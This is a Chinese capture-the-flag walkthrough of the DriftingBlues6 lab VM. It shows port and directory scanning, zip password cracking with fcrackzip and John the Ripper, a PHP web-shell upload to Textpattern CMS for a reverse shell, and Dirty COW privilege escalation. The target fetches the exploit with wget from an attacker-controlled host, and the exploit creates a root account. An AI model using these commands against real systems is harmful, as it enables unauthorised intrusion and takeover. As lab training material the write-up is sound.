攻击者IP:192.168.56.108 桥接 vmare
受害者ip:192.168.56.128 仅主机 vxbox
参考:https://www.freebuf.com/articles/system/373427.html
主机发现
端口服务探测
nmap -sT -sV -O -sC -p80 192.168.56.128
查看源代码
please hack vvmlist.github.io instead he and their army always hacking us
扫描目录
dirb http://192.168.56.128
http://192.168.56.128/db是一张图片,可能存在隐写
试了一下,没有隐写
访问http://192.168.56.128/robots
textpattern/textpattern
得到了新的目录/textpattern/textpattern以及提示 说明目录扫描的时候需要添加后缀字典
发现是一个登录界面,应该是标准的CMS 在登录界面可以尝试弱口令、漏洞攻击(需要知道版本最佳)、爆破等等
http://192.168.56.128/textpattern/textpattern/index.php
访问http://192.168.56.128/textpattern/README
得知cms是,Textpattern CMS 4.8.3
或者使用whatweb探测cms
whatweb 192.168.56.128/textpattern/textpattern
cmseek -u http://192.168.56.128/
框架漏洞需要账号和密码
接着目录扫描
# 字典行数 20469(一般字典)cat /usr/share/wordlists/dirb/big.txt# 字典行数 220560(大字典)cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-t 指定线程 -x 添加后缀扩展名 (根据网站脚本语言加后缀)
gobuster dir -u http://192.168.56.128:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .zip
找到spammer.zip
找到spammer
dirsearch -u http://172.16.5.12/ -e php,zip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
需要密码,破解密码
zip -P 123456 passwd.zip ./*-P 123456 设置密码是123456passwd.zip 定义压缩文件名./* 压缩文件范围,当前目录下所有文件都被压缩 解压unzip,需要输入正确的压缩密码
得到密码,myspace4
fcrackzip -D -p /usr/share/wordlists/rockyou.txt spammer.zip
-D 表示要使用字典破解
-p 表示要使用那个字典破解
-b 表示使用暴利破解的方式 -c 'aA1' 表示使用大小写字母和数字混合破解的方式
-l 1-10 表示需要破解的密码长度为1到10位 -u 表示只显示破解出来的密码,其他错误的密码不显示出
注:Kali linux自带了一些字典在/usr/share/wordlists/文件夹下
使用 zip2john 提取 hash
zip2john +文件名 > pwd.txt 然后再使用 john pwd.txt 查看到密码
john hash.txt 命令表示使用 John the Ripper 工具尝试破解储存在 hash.txt 文件中的密码哈希值。字典破解:john --wordlist=mydic.txt hash.txt,这行命令会使用 mydic.txt 文件中的密码尝试破解 hash.txt 中的哈希。暴力破解:john --incremental hash.txt,这行命令将使用内置的字符集对 hash.txt 中的哈希进行暴力破解。查看破解结果:john --show hash.txt,这行命令会显示已经被破解的密码
mayer:lionheart
可能是web账号和密码
漏洞利用
利用失败,有报错
只能手动上传了
参考地址:https://blog.csdn.net/yun2diao/article/details/92765372
路径是view-source:http://192.168.56.128/textpattern/files/shell5.0.php
反弹成功
python -c 'import pty; pty.spawn("/bin/bash")'
脏牛提权
cat /etc/*-release确定发行版本
Debian 7发行版不太能overlayfs提权
查看内核版本
linux 3.2.0
cat /proc/versionuname -a
searchsploit linux 3.2.0
利用脏牛提权
使用该脚本会建立一个 firefart 的特权账号 密码自输
cp /usr/share/exploitdb/exploits/linux/local/40839.c /var/www/html
# 目标机器到tmp目录下下载(有下载权限)cd /tmp# 下载wget http://192.168.45.157:81/40839.c# 给权限chmod +x 40839.c# 编译gcc -pthread 40839.c -o shell -lcrypt # 给权限chmod +x shell# 运行./shell需要在shell 里面写一个python交互python -c 'import pty; pty.spawn("/bin/sh")'
获得root
Ctrl + Z, 或者 命令 & 可以让进程suspend# 显示后台命令jobs# 拉回前台, 要用%表示进程号fg %1
获得flag
原文始发于微信公众号(王之暴龙战神):driftingblues6
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论